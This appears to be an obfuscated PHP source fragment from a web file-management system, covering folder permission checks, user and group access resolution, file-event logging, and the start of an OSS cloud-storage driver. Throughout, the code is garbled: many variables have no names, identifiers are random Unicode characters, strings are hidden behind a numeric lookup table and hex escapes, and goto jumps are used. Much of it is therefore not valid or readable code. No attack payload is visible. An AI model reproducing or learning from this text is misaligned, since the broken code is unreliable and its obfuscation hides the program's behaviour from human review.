array_to_keyvalue($唫, $۬В[12], $۬В[1678]); } $퀝 = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($Ҫ as $) { if (!in_array($[$۬В[420]], $퀝)) { show_json(LNG($۬В[2049]), !1); } if ($ != $ֲك) { if ($[$۬В[420]] == SourceModel::TYPE_GROUP) { } if ($[$۬В[505]] != 0 && !in_array($[$۬В[505]], $唫)) { } } if ($[$۬В[505]] == 0) { $[$۬В[420]] = SourceModel::TYPE_USER; } $[] = array($۬В[411] => $, $۬В[420] => intval($[$۬В[420]]), $۬В[505] => intval($[$۬В[505]]), $۬В[1971] => intval($[$۬В[1971]]) ? intval($[$۬В[1971]]) : 0, $۬В[2031] => intval($[$۬В[2031]]) ? intval($[$۬В[2031]]) : -1); } $this->where(array($۬В[426] => $))->delete(); $this->addAll($); return !0; } public function authClear($±ی) { $ =& $_SERVER[ﻻ]; $Б = Model($[1349])->sourceInfo($±ی); $ʈ = array($±ی); if ($Б[$[419]] == $[88]) { $ = array($[589] => array($[549], $Б[$[520]] . $±ی . $[550])); $ʈ = Model($[1349])->field($[426])->where($)->getField($[411], !0); $ʈ[] = $±ی; } $this->where(array($[426] => array($[427], $ʈ)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[ﻻ]; $ʩ = Model($[1349])->sourceInfo($); if ($ʩ[$[419]] != $[88]) { return $this->sourceListAuth(array($)); } if ($ʩ[$[420]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ۛ = array($); if ($ʩ[$[441]] == $[198] && $ʩ[$[505]] != $) { $ۛ = $this->groupChidldAllRootSource($ʩ[$[505]]); } $܂ = $this->field($[411])->group($[411])->select(); $܂ = array_to_keyvalue($܂, $[12], $[411]); if (!$܂) { return array(); } $ = $[2050]; $Ʒ = array($[411] => array($[7], $܂), $[440] => $[198]); $ = Model($[838])->field($)->where($Ʒ)->select(); $ = array($); foreach ($ as $ί) { foreach ($ۛ as $؆) { $ӄ = $[50] . $؆ . $[50]; $ = $ί[$[520]] . $ί[$[411]] . $[50]; if (strstr($, $ӄ)) { $[] = $ί[$[411]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($) { $ݳ =& $_SERVER[ﻻ]; $ = Model($ݳ[1349])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($); $Ҍ = array(); $ = array(); foreach ($ as $) { unset($[$ݳ[465]]); unset($[$ݳ[463]]); unset($[$ݳ[422]]); unset($[$ݳ[87]]); $ = $[$[$ݳ[411]]]; if (!$) { continue; } $[$ݳ[2051]] = $this->authTargetInfo($); $[$ݳ[518]] = rtrim($[$ݳ[524]], $ݳ[8]) . $ݳ[8] . ltrim($[$ݳ[518]], $ݳ[8]); $Ҍ[] = $; $ = count(explode($ݳ[8], trim($[$ݳ[518]], $ݳ[8]))); $[] = $ + ($[$ݳ[33]] == $ݳ[75] ? 0 : 1000); } array_multisort($, SORT_ASC, $Ҍ); return $Ҍ; } private function groupChidldAllRootSource($Ţ) { $ =& $_SERVER[ﻻ]; $lj = Model($[2052])->groupChildrenAll($Ţ); $㠔 = array($[441] => 0, $[505] => array($[7], $lj), $[420] => SourceModel::TYPE_GROUP); $ = Model($[838])->field($[411])->where($㠔)->select(); $ = array_to_keyvalue($, $[12], $[411]); return $; } private function authTargetInfo($) { $ =& $_SERVER[ﻻ]; $Ŭ = array(); $̘ = array(); $ = 2 << 25; foreach ($ as $) { $կ = Model($[507])->listData($[$[1971]]); if (!$կ) { continue; } if ($[$[420]] == SourceModel::TYPE_USER) { $Ц = Model($[513])->getInfoSimpleOuter($[$[505]]); if ($Ц[$[1678]] == $[1198]) { continue; } if ($Ц[$[1678]] == $[198]) { $Ц[$[32]] = LNG($[2053]); } } else { $Ц = Model($[521])->getInfoSimple($[$[505]]); } if (!$Ц) { continue; } $Ц[$[476]] = $կ; $Ŭ[] = $Ц; $Β = 0; if ($[$[420]] == SourceModel::TYPE_GROUP) { $Β = $ * 2; } if ($[$[420]] == SourceModel::TYPE_USER) { $Β = $; } if ($[$[420]] == SourceModel::TYPE_USER && $[$[505]] == $[198]) { $Β = 0; } $̘[] = $կ[$[422]] + $Β; } array_multisort($̘, SORT_DESC, $Ŭ); return $Ŭ; } public function getAllChildrenByUser($, $) { $淗 =& $_SERVER[ﻻ]; $ӎ = Model($淗[534])->getInfo($); if (!$ || !$ || !$ӎ) { return array(); } $ = Model($淗[1349])->sourceInfo($); $ = array(); $ψ = 1; if ($[$淗[441]] == $淗[198] && $[$淗[505]] != $ψ && $this->groupContainUser($[$淗[505]], $)) { foreach ($ӎ[$淗[2054]] as $Ӵ) { $҅ = Model($淗[521])->getInfo($Ӵ[$淗[1867]]); $ = Model($淗[534])->getInfoSimpleOuter($); $[$淗[476]] = $Ӵ[$淗[422]]; if (Model($淗[507])->authCheckAction($Ӵ[$淗[422]][$淗[422]], $淗[1888])) { continue; } $ = array($淗[32] => $淗[1218] . $҅[$淗[32]], $淗[411] => $҅[$淗[87]][$淗[411]], $淗[84] => KodIO::make($҅[$淗[87]][$淗[411]]), $淗[441] => $淗[198], $淗[420] => $淗[514], $淗[33] => $淗[553], $淗[518] => $҅[$淗[525]], $淗[1867] => $҅[$淗[1867]], $淗[522] => $҅[$淗[441]], $淗[2051] => array($)); $[$[$淗[411]]] = $; } } $ = array(); $ŗ = $this->getAllChildren($); foreach ($ŗ as $ɍ) { $ = !1; foreach ($ɍ[$淗[2051]] as $܈) { if ($܈[$淗[1678]]) { if ($܈[$淗[1678]] == $) { $ = !0; break; } } if ($܈[$淗[1867]]) { if ($this->groupContainUser($܈[$淗[1867]], $)) { $ = !0; break; } } } if ($) { $[] = $ɍ; } $ = $ɍ[$淗[411]]; if (isset($[$])) { $ɍ[$淗[2051]][] = $[$][0]; $[$] = !1; } } $ = array_filter(array_values($)); $ = array_merge($, $); return $; } public function setAllChildrenByUser($П, $ſ, $) { $ۈ =& $_SERVER[ﻻ]; $ȱ = $this->getAllChildrenByUser($П, $ſ); if (!$ || !$ȱ) { return !1; } foreach ($ȱ as $ǘ) { $ = array(); foreach ($ǘ[$ۈ[2051]] as $σ) { $ = $σ[$ۈ[476]]; $ܺ = $σ[$ۈ[1678]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $Ô = $σ[$ۈ[1678]] ? $σ[$ۈ[1678]] : $σ[$ۈ[1867]]; if ($σ[$ۈ[1678]] && $σ[$ۈ[1678]] == $ſ) { continue; } $[] = array($ۈ[411] => $ǘ[$ۈ[411]], $ۈ[420] => $ܺ, $ۈ[505] => intval($Ô), $ۈ[1971] => isset($[$ۈ[399]]) ? intval($[$ۈ[399]]) : 0, $ۈ[2031] => isset($[$ۈ[2031]]) ? intval($[$ۈ[2031]]) : -1); } $[] = array($ۈ[411] => $ǘ[$ۈ[411]], $ۈ[420] => SourceModel::TYPE_USER, $ۈ[505] => intval($ſ), $ۈ[1971] => intval($), $ۈ[2031] => -1); $this->where(array($ۈ[426] => $ǘ[$ۈ[411]]))->delete(); $this->addAll($); } return !0; } public function get($) { $ = $this->getSourceList(array($), !0); return $[0]; } public function getSourceList($遻, $ϥ = false, $ٙ = false) { $ף =& $_SERVER[ﻻ]; if (!$遻) { return array(); } $ğ = Model($ף[1349]); if (!$ϥ && count($遻) == 1) { $ϥ = array(); $ϥ[$遻[0]] = $ğ->sourceInfo($遻[0]); } if (!$ϥ) { $҃ = array($ף[426] => array($ף[427], $遻)); $ϥ = $ğ->field($ף[2055])->where($҃)->select(); $ϥ = array_to_keyvalue($ϥ, $ף[411]); } $ = $遻; foreach ($ϥ as $ => $) { $ = $ğ->parentLevelArray($[$ף[520]]); $ = array_merge($, array($), array_reverse($)); } $ = array_values(array_unique($)); if (!$) { return array(); } $ͯ = $this->sourceAuthSelect($); $ = array(); foreach ($ as $) { if (isset($ͯ[$])) { $[$] = $ͯ[$]; } } $ = $this->userIsRoot($ٙ); $ = AuthModel::authAll(); $ʇ = array($ף[423] => $, $ף[2056] => array($ף[428] => 0, $ף[1873] => $, $ף[429] => LNG($ף[2057]), $ף[1890] => $ף[2058])); $т = array(); foreach ($ϥ as $ => $Ш) { if ($ && $GLOBALS[$ף[6]][$ף[1886]]) { $т[$] = $ʇ; continue; } $т[$] = $this->makeSourceAuth($Ш, $, $ٙ); } return $т; } public function authDeepCheck($ƥ, $ = false) { $ =& $_SERVER[ﻻ]; $ = $ ? $ : USER_ID; $ = $this->makeAuthDeep($); if (!in_array($ƥ, $[$[2059]])) { return !1; } $ = array(); foreach ($[$[2060]] as $ => $̵ڠ) { if (!in_array($ƥ, $̵ڠ)) { continue; } $[] = $; } if (!$) { return !1; } $ލȉ = $ ? $[0] : $ƥ; return array($[423] => -1, $[476] => array($[428] => $[1198], $[1873] => $[198], $[429] => LNG($[2061]), $[1890] => $[2062]), $[2063] => LNG($[2064]), $[2065] => $this->sourceAuthInfo($ލȉ)); } protected function makeAuthDeep($ = false) { $͔ =& $_SERVER[ﻻ]; static $Ԥ̵ = array(); $ = $ ? $ : USER_ID; if (isset($Ԥ̵[$])) { return $Ԥ̵[$]; } $攠Ɇ = Model($͔[2066])->listData(); $ = array(); foreach ($攠Ɇ as $) { if ($[$͔[422]] == 0 && $[$͔[1889]] == $͔[88]) { $[] = $[$͔[399]]; } } $Ұѿ = $this->userGroupParents($); $荦 = array($͔[420] => SourceModel::TYPE_USER, $͔[505] => $); if ($Ұѿ) { $荦 = array(array($͔[420] => SourceModel::TYPE_USER, $͔[505] => $), array($͔[420] => SourceModel::TYPE_GROUP, $͔[505] => array($͔[427], $Ұѿ)), $͔[1010] => $͔[1965]); } $گ = $this->field($͔[2067])->where($荦)->select(); $ͽ = array(); $Ȋ = array_to_keyvalue_group($گ, $͔[411]); foreach ($Ȋ as $偨 => $٥) { $Ȕ = $this->authArrayCheck($٥, $); if ($Ȕ[$͔[423]] > 0) { $ͽ[] = $偨 . $͔[12]; } } if ($Ұѿ) { $Ɵ = Model($͔[521]); foreach ($Ұѿ as $䌽) { $Ε = $Ɵ->getInfo($䌽); if (!$Ε || !is_array($Ε[$͔[87]])) { continue; } $ͽ[] = $Ε[$͔[87]][$͔[411]]; } } $Ԙ = array(); $ = $Ұѿ; $ɑ = Model($͔[1349]); $Ɵ = Model($͔[521]); $ = array(); $ = array(); $ = array(); $ʯ = array(); if ($ͽ) { $猇 = $ɑ->where(array($͔[411] => array($͔[427], $ͽ)))->select(); foreach ($猇 as $) { $ɨ = $ɑ->parentLevelArray($[$͔[520]]); $Ԙ = array_merge($Ԙ, $ɨ); $[] = $[$͔[505]]; $[$[$͔[411]]] = $ɨ; $[$[$͔[411]]] = $[$͔[505]]; } } $ = array_values(array_unique($)); $ߚ = $; foreach ($ߚ as $䌽) { $Ε = $Ɵ->getInfo($䌽); $ɨ = $ɑ->parentLevelArray($Ε[$͔[520]]); $ = array_merge($, $ɨ); } $ = array_values(array_unique($)); foreach ($ as $䌽) { $Ε = $Ɵ->getInfo($䌽); $Ԙ[] = $Ε[$͔[87]][$͔[411]]; $[$䌽] = $Ε[$͔[87]][$͔[411]]; $ʯ[$䌽] = $ɑ->parentLevelArray($Ε[$͔[520]]); } foreach ($ as $ݶǴ => $) { $̓ = $[$ݶǴ]; if (!$̓ || !$[$̓]) { continue; } $ = array(); foreach ($ʯ[$̓] as $䌽) { $[] = $[$䌽]; } $[$ݶǴ] = array_merge($, $); } $Ԙ = array_values(array_unique($Ԙ)); $ƨ = array($͔[2059] => $Ԙ, $͔[2060] => $); $Ԥ̵[$] = $ƨ; return $ƨ; } private function makeSourceAuth($, $ﹰ, $ˉ = false) { $Ӹ =& $_SERVER[ﻻ]; $燸 = $Ӹ[88]; $ = $[$Ӹ[505]]; $䊼ɵ = $[$Ӹ[420]] == SourceModel::TYPE_GROUP; $ȶ = $䊼ɵ ? $this->groupRootAuth($, $ˉ) : !1; if ($ȶ && Model($Ӹ[507])->authCheckAction($ȶ[$Ӹ[422]], $Ӹ[1888])) { return $this->groupAuthInfo($ȶ, $); } $鐃 = Model($Ӹ[1349])->parentLevelArray($[$Ӹ[520]]); $鐃 = array_merge(array($[$Ӹ[411]]), array_reverse($鐃)); $ = !1; foreach ($鐃 as $ύ) { if (!isset($ﹰ[$ύ])) { continue; } $Ҩ = $this->authMake($ﹰ[$ύ], $ˉ); if ($Ҩ[$Ӹ[476]]) { $ = $Ҩ; break; } } if (!$䊼ɵ) { return $; } if (!$ && $ȶ) { $ = $this->groupAuthInfo($ȶ, $); } if (!$) { $ = Model($Ӹ[521])->getInfo($); $ = explode($Ӹ[50], trim($[$Ӹ[520]], $Ӹ[50])); $ = array_reverse($); foreach ($ as $ٳй) { if ($ٳй == $Ӹ[198] || $ٳй == $燸) { continue; } $ࣶ = $this->groupRootAuth($ٳй, $ˉ); if (!$ࣶ) { continue; } $ = $this->groupAuthInfo($ࣶ, $ٳй); break; } } if (!$ || $[$Ӹ[423]] <= 0) { $ = $this->authDeepCheck($[$Ӹ[411]], $ˉ); if ($) { $ = $; } } return $; } private function userIsRoot($ = false) { $ =& $_SERVER[ﻻ]; if (!$ && _get($GLOBALS, $[503])) { return !0; } $ = Model($[534])->getInfo($); $ = Model($[2068])->listData($[$[1557]]); if ($ && $[$[511]][$[2069]] == 1) { return !0; } return !1; } private function sourceAuthInfo($Վҁ) { $͵ԁ =& $_SERVER[ﻻ]; $ = Model($͵ԁ[1349]); $͉؇ = $->sourceInfo($Վҁ); if (!$͉؇) { return !1; } $->groupPathDisplay($͉؇); $ = array($͉؇); $ = $->_listAppendPath($); $͉؇ = $[0]; $̤ = $͉؇[$͵ԁ[518]]; if (isset($͉؇[$͵ԁ[526]])) { $چ = explode($͵ԁ[8], trim($͉؇[$͵ԁ[518]], $͵ԁ[8])); array_shift($چ); $̤ = $͉؇[$͵ԁ[524]] . $͵ԁ[2070] . implode($͵ԁ[8], $چ); } return array($͵ԁ[429] => $͉؇[$͵ԁ[32]], $͵ԁ[84] => KodIO::make($͉؇[$͵ԁ[411]]), $͵ԁ[2071] => $̤); } private function groupAuthInfo($症, $֒) { $ =& $_SERVER[ﻻ]; $ = Model($[521])->getInfo($֒); return array($[2072] => intval($症[$[422]]), $[2056] => $症, $[2073] => LNG($[2074]), $[2065] => array($[429] => $[$[32]], $[84] => KodIO::make($[$[87]][$[411]]), $[2071] => $[$[525]])); } protected function groupRootAuth($ЦՆ, $ʩ = false) { $ =& $_SERVER[ﻻ]; $ʩ = $ʩ ? $ʩ : USER_ID; $័ = $ʩ . $[2075] . $ЦՆ; static $ʗ = array(); if (isset($ʗ[$័])) { return $ʗ[$័]; } $惾 = Model($[521])->getInfo($ЦՆ); $ = $this->userGroupList($ʩ); $Ժ = isset($[$ЦՆ]) ? $[$ЦՆ][$[422]] : !1; if ($Ժ && Model($[507])->authCheckAction($Ժ[$[422]], $[1888])) { $ʗ[$័] = $Ժ; return $Ժ; } $ = $this->sourceAuthSelect($惾[$[87]][$[411]]); $ = $ ? $this->authMake($, $ʩ) : !1; $鬇 = $ ? $[$[476]] : !1; $ʗ[$័] = $鬇 ? $鬇 : $Ժ; return $ʗ[$័]; } public function authOwnerApply($ˈͲ) { $ʤ =& $_SERVER[ﻻ]; if (empty($ˈͲ[$ʤ[422]]) || isset($ˈͲ[$ʤ[2076]]) && $ˈͲ[$ʤ[2076]]) { return $ˈͲ; } if (AuthModel::authCheckRoot($ˈͲ[$ʤ[422]][$ʤ[423]])) { return $ˈͲ; } $и = Model($ʤ[1349])->parentLevelArray($ˈͲ[$ʤ[520]]); $и = array_merge(array($ˈͲ[$ʤ[411]]), array_reverse($и)); $§ = $this->sourceAuthSelect($и); $Ȇ = array(); $ = array(); foreach ($§ as $ => $֖) { $ = $this->authFolderOwnerUser($֖); $Ȇ[$] = $; $ = array_merge($, $[$ʤ[599]]); if ($[$ʤ[2077]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($ˈͲ[$ʤ[505]]); } $ = array_unique($); if (AuthModel::authCheckRoot($ˈͲ[$ʤ[422]][$ʤ[423]])) { $[] = USER_ID; } $ˈͲ[$ʤ[422]][$ʤ[2078]] = Model($ʤ[513])->userListInfo($); return $ˈͲ; } private function authFolderOwnerGroup($ך) { $ =& $_SERVER[ﻻ]; $ˢ = Model($[1957])->where(array($[1867] => $ך))->select(); $ = array(); if (!$ˢ) { return $; } foreach ($ˢ as $̅) { $ߨ = $this->authInfo($̅); if (AuthModel::authCheckRoot($ߨ[$[422]])) { $[] = $̅[$[1678]]; } } return $; } private function authFolderOwnerUser($ߺ) { $ =& $_SERVER[ﻻ]; $ = array(); $麻 = !1; foreach ($ߺ as $筗) { $և = $this->authInfo($筗); if ($筗[$[505]] == $[198]) { $麻 = !0; } if ($筗[$[420]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($և[$[422]])) { $[] = $筗[$[505]]; } } } return array($[599] => $, $[2077] => $麻); } public function authMake($, $ = false) { $ =& $_SERVER[ﻻ]; $͎ = $this->authArrayCheck($, $); if ($͎[$[2079]]) { $͎[$[2079]] = $this->sourceAuthInfo($͎[$[2079]]); } return $͎; } public function authArrayCheck($嶗, $ = false) { $̪ő =& $_SERVER[ﻻ]; if (!$嶗) { return array($̪ő[423] => 0, $̪ő[476] => !1); } $ = $ ? $ : USER_ID; $Ķ = 0; $ = 0; $̼ = 0; $Ԝݗ = 0; $ = 0; $ = 0; $ = 1000; $ = 0; $ꕠ = 0; $ = 0; $ = 0; $쵗 = array($̪ő[411] => 0); foreach ($嶗 as $쵗) { $ = $this->authInfo($쵗); if (!$) { continue; } $̏ = $쵗[$̪ő[505]]; $ӛ̋ = intval($[$̪ő[422]]); if ($쵗[$̪ő[420]] == SourceModel::TYPE_USER && $̏ == $) { $Ķ = !0; $̼ = $; $ = $ӛ̋; } else { if ($쵗[$̪ő[420]] == SourceModel::TYPE_GROUP && $this->groupContainUser($̏, $)) { $Ԝݗ = !0; $ = $this->groupStepToUserGroup($̏, $); if ($ < $) { $ = $; $ = $ӛ̋; $ = $; $ = $̏; } if ($ == $ && $ӛ̋ >= $) { $ = $ӛ̋; $ = $; $ = $̏; } } else { if ($̏ == $̪ő[198]) { $ꕠ = !0; $ = $; $ = $ӛ̋; } } } } if ($Ķ) { $ˢ = $; $ = $̼; $ = LNG($̪ő[2080]); } else { if ($Ԝݗ) { $ˢ = $; $ = $; $ = Model($̪ő[521])->getInfo($); $ = $̪ő[162] . $[$̪ő[525]] . $̪ő[2081] . LNG($̪ő[2082]); } else { if ($ꕠ) { $ˢ = $; $ = $; $ = LNG($̪ő[2053]); } else { $ˢ = 0; $ = !1; $ = $̪ő[12]; } } } $ĕٮ = array($̪ő[2072] => intval($ˢ), $̪ő[2056] => $, $̪ő[2073] => $, $̪ő[2065] => $쵗[$̪ő[411]]); return $ĕٮ; } private function groupContainUser($◙, $Ľ = false) { return in_array($◙, $this->userGroupParents($Ľ)); } private function groupStepToUserGroup($, $° = false) { $ =& $_SERVER[ﻻ]; $ܝ = $this->userGroupList($°); $ = 1000; $҈ = $GLOBALS[$[6]][$[89]][$[1970]] == 1; $ = $҈ ? 3 : 2; foreach ($ܝ as $յ) { if ($յ[$[1867]] == $) { return 0; } $ڸ = explode($[50], trim($յ[$[520]], $[50])); if ($ڸ[0] == $[198] && count($ڸ) > $) { $ĺ = array_reverse(array_slice($ڸ, $)); $ = array_search($, $ĺ); if ($ !== !1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($엢 = false) { $˿ =& $_SERVER[ﻻ]; static $ʸ瞟 = array(); if (isset($ʸ瞟[$엢])) { return $ʸ瞟[$엢]; } $ = Model($˿[534])->getInfo($엢); $ʸ瞟[$엢] = array_to_keyvalue($[$˿[2054]], $˿[1867]); return $ʸ瞟[$엢]; } public function userGroupParents($) { $ =& $_SERVER[ﻻ]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $Ԙ = $this->userGroupList($); $˚ = array(); $Ӷц = $GLOBALS[$[6]][$[89]][$[1970]] == 1; $ = $Ӷц ? 3 : 2; foreach ($Ԙ as $١) { $ = array($١[$[1867]]); $ȏ = explode($[50], trim($١[$[520]], $[50])); if ($ȏ[0] == $[198] && count($ȏ) > $) { $Ο = array_slice($ȏ, $); $ = array_merge($, array_reverse($Ο)); } $˚ = array_merge($˚, $); } $[$] = array_unique($˚); return $[$]; } public function authTargetInfoMake($) { $Ƈ =& $_SERVER[ﻻ]; $ = array(); $ = array(); foreach ($ as $ƚܰ) { if ($ƚܰ[$Ƈ[420]] == SourceModel::TYPE_USER) { $[] = intval($ƚܰ[$Ƈ[505]]); } else { if ($ƚܰ[$Ƈ[420]] == SourceModel::TYPE_GROUP) { $[] = intval($ƚܰ[$Ƈ[505]]); } } } if ($) { $ = Model($Ƈ[513])->userListInfo($); } if ($) { $î = array($Ƈ[1955] => array($Ƈ[427], $)); $ = Model($Ƈ[521])->field($Ƈ[2083])->where($î)->select(); $ = array_to_keyvalue($, $Ƈ[1867]); } return array($Ƈ[2084] => $, $Ƈ[2085] => $); } public function authInfo($ًĹ) { $̟ =& $_SERVER[ﻻ]; if ($ًĹ[$̟[1971]]) { $ = Model($̟[507])->listData($ًĹ[$̟[1971]]); if (!$) { return !1; $ö = Model($̟[507])->listData(); $ԗ = array_filter_by_field($ö, $̟[422], $̟[198]); return $ԗ; } $ɓ = array_field_key($, array($̟[399], $̟[32], $̟[422], $̟[1890], $̟[1891])); $ɓ[$̟[2086]] = $ًĹ; return $ɓ; } else { return array($̟[428] => 0, $̟[1873] => $ًĹ[$̟[2031]], $̟[429] => $̟[12], $̟[1890] => $̟[2087]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\165\x72\143\x65\x5f\x65\166\145\156\164"; protected $dataAuto = array(array("\143\x72\145\141\164\145\x54\x69\155\x65", "\x74\x69\x6d\145", "\x69\x6e\x73\145\x72\x74", "\146\165\156\143\164\151\x6f\x6e"), array("\144\x65\x73\x63", '', "\x69\x6e\163\x65\x72\x74\54\x75\x70\x64\x61\x74\x65\x2c\x73\x65\x6c\145\143\x74", "\x6a\163\157\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $, $ = '') { $ =& $_SERVER[ﻻ]; if (!$this->eventSave) { return; } $ة = Model($[1349])->sourceInfo($); if (!$ة) { return !1; } if ($this->isCacheEvent($ة, $)) { return; } if ($ && is_string($)) { $ = array($[1906] => $); } $ = array($[426] => $, $[2088] => $ة[$[441]], $[2089] => $ة[$[32]], $[518] => !empty($ة[$[518]]) ? $ة[$[518]] : $[12], $[1669] => USER_ID, $[431] => $, $[1671] => $); $this->addSystemLog($, $); unset($[$[2089]], $[$[518]]); return $this->add($); } private function addSystemLog($ּ, $Ȋ) { $ =& $_SERVER[ﻻ]; if ($ּ == $[2090]) { $ּ = $Ȋ[$[462]][$[2091]]; } else { if (in_array($ּ, array($[1847], $[2092]))) { $ּ = $Ȋ[$[462]][$[767]]; } } $Ǝ = array_merge($Ȋ, array($[2093] => $Ȋ[$[411]], $[2094] => $Ȋ[$[2094]])); Hook::trigger($[2095], $[2096] . $ּ, $Ȋ); Model($[1811])->addLog($[2096] . $ּ, $Ǝ); } private function isCacheEvent($ɺ, $) { if ($ɺ[$_SERVER[ﻻ][420]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $՞) { $ =& $_SERVER[ﻻ]; $ǫ = Model($[1349])->sourceInfo($); $м = array($[2091] => $՞, $[32] => $ǫ[$[32]]); return $this->addEvent($, $[2090], $м); } public function eventFileEdit($) { $˥ҏ =& $_SERVER[ﻻ]; $ = array($˥ҏ[2097] => $_SERVER[$˥ҏ[2098]], $˥ҏ[2099] => strtolower(ACTION)); if (isset($GLOBALS[$˥ҏ[7]][$˥ҏ[2100]])) { $[$˥ҏ[2100]] = $˥ҏ[88]; } return $this->addEvent($, $˥ҏ[1837], $); } public function eventRecycle($, $) { return $this->addEvent($, $_SERVER[ﻻ][2092], $); } public function eventRemove($) { $ =& $_SERVER[ﻻ]; $Ч = Model($[1349])->sourceInfo($); $̥ = $Ч[$[32]]; return $this->addEvent($Ч[$[441]], $[1836], $̥); } public function eventShare($̤͇, $ҕ) { return $this->addEvent($̤͇, $_SERVER[ﻻ][1847], $ҕ); } public function eventMove($Ú, $ʎ, $) { $ =& $_SERVER[ﻻ]; $ = Model($[1349]); $װ = $->sourceInfo($Ú); $ = $->sourceInfo($ʎ); $ւ = $->sourceInfo($); $ = array($[1170] => $ʎ, $[2101] => $[$[32]], $[2079] => !empty($[$[518]]) ? $[$[518]] : $[12], $[1171] => $, $[2102] => $ւ[$[32]], $[2103] => !empty($ւ[$[518]]) ? $ւ[$[518]] : $[12]); $this->addEvent($Ú, $[557], $); $װ = $->sourceInfo($Ú); $ = array($[411] => $װ[$[411]], $[32] => $װ[$[32]]); $this->addEvent($ʎ, $[2104], $); } public function eventCopy($؊Ό) { $this->eventCreate($؊Ό, $_SERVER[ﻻ][555]); } public function eventRename($, $謄, $Ҵ) { $ =& $_SERVER[ﻻ]; $ = array($[1170] => $謄, $[1171] => $Ҵ); return $this->addEvent($, $[1364], $); } public function eventAddComment($ف, $О) { return $this->addEvent($ف, $_SERVER[ﻻ][2105], $О); } public function eventAddDesc($, $) { return $this->addEvent($, $_SERVER[ﻻ][2106], $); } public function listBySource($Ê) { $ =& $_SERVER[ﻻ]; $ = Model($Â[1349])->sourceInfo($Ê); $ = array($Â[426] => $Ê); if ($[$Â[419]] == $Â[88]) { $ʨ = Model($Â[1349])->listSearchChildren($Ê, 20000); $ʨ[] = $Ê . $Â[378]; $ = array($Â[411] => array($Â[7], $ʨ)); } $ = $this->where($)->order($Â[2107])->selectPage(); if ($[$Â[366]][$Â[367]] == 0) { $[$Â[366]][$Â[367]] = 1; $[$Â[369]] = array(array($Â[426] => $Ê, $Â[2088] => $[$Â[441]], $Â[1669] => $[$Â[463]], $Â[431] => $Â[2108], $Â[432] => $[$Â[201]], $Â[1671] => $Â[12])); } return $this->eventListParse($, $Ê); } private function eventListParse($қ, $) { $ =& $_SERVER[ﻻ]; $ұ = $қ[$[369]]; $ѕ = array_to_keyvalue($ұ, $[12], $[411]); $Ƈ = array_to_keyvalue($ұ, $[12], $[2094]); foreach ($ұ as $) { $ = $[$[462]]; if ($[$[33]] == $[557] && isset($[$[1170]])) { $ѕ[] = $[$[1170]] . $[12]; $ѕ[] = $[$[1171]] . $[12]; } if ($[$[33]] == $[2104] && isset($[$[411]])) { $ѕ[] = $[$[411]] . $[12]; } } $ѕ = array_merge($ѕ, $Ƈ, array($ . $[12])); $ѕ = array_unique($ѕ); $Ùӹ = array_unique(array_to_keyvalue($ұ, $[12], $[1678])); $ʈ = Model($[534])->userListInfo($Ùӹ); $Ա = Model($[838])->sourceListInfo($ѕ, !0); foreach ($ұ as &$) { if ($[$[33]] == $[557] && isset($[$[462]][$[1170]])) { $[$[462]][$[1170]] = $Ա[$[$[462]][$[1170]]]; $[$[462]][$[1171]] = $Ա[$[$[462]][$[1171]]]; } if ($[$[33]] == $[2104] && isset($[$[462]][$[411]])) { $[$[462]][$[411]] = $Ա[$[$[462]][$[411]]]; } $[$[87]] = $Ա[$[$[411]]]; $[$[2109]] = $Ա[$[$[2094]]]; if ($[$[33]] == $[1836]) { $[$[2109]] = $[$[87]]; $[$[2094]] = $[$[2109]][$[411]]; $[$[87]] = !1; $[$[411]] = $[12]; } $[$[2039]] = $ʈ[$[$[1678]]]; } unset($); $қ[$[369]] = $ұ; return $қ; } public function removeBySource($) { $ = array($_SERVER[ﻻ][426] => $); $this->where($)->remove(); } } goto B; a: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($˭) { parent::__construct(); include_once SDK_DIR . $_SERVER[ﻻ][1404]; $this->_init($˭); } public function _init($) { $ =& $_SERVER[ﻻ]; $this->config = $; foreach ($ as $ˈ => $ޒ) { if (isset($this->{$ˈ})) { $this->{$ˈ} = $ޒ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1405] . LNG($[1406])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $Ĥѥ =& $_SERVER[ﻻ]; $Ϫ = new OSS\Model\CorsConfig(); $Ɂ = new OSS\Model\CorsRule(); $Ɂ->addAllowedOrigin($Ĥѥ[1407]); $Ɂ->addAllowedMethod($Ĥѥ[1408]); $Ɂ->addAllowedMethod($Ĥѥ[1409]); $Ɂ->addAllowedMethod($Ĥѥ[1410]); $Ɂ->addAllowedMethod($Ĥѥ[1411]); $Ɂ->addAllowedMethod($Ĥѥ[160]); $Ɂ->setMaxAgeSeconds(600); $Ɂ->addExposeHeader($Ĥѥ[1412]); $Ɂ->addAllowedHeader($Ĥѥ[1407]); $Ϫ->addRule($Ɂ); try { $this->client->putBucketCors($this->bucket, $Ϫ); } catch (OSS\Core\OssException $ϵ) { return !1; } return !0; } public function getBucketCors() { $ԋ =& $_SERVER[ﻻ]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { return null; } if (!$ || !($ʛ = $->getRules())) { return null; } $ = $ʛ[0]->getAllowedOrigins(); $묞 = $ʛ[0]->getAllowedMethods(); $Ԛ = $ʛ[0]->getMaxAgeSeconds(); $춈 = $ʛ[0]->getExposeHeaders(); $䳯 = $ʛ[0]->getAllowedHeaders(); return array($ԋ[188] => isset($[0]) 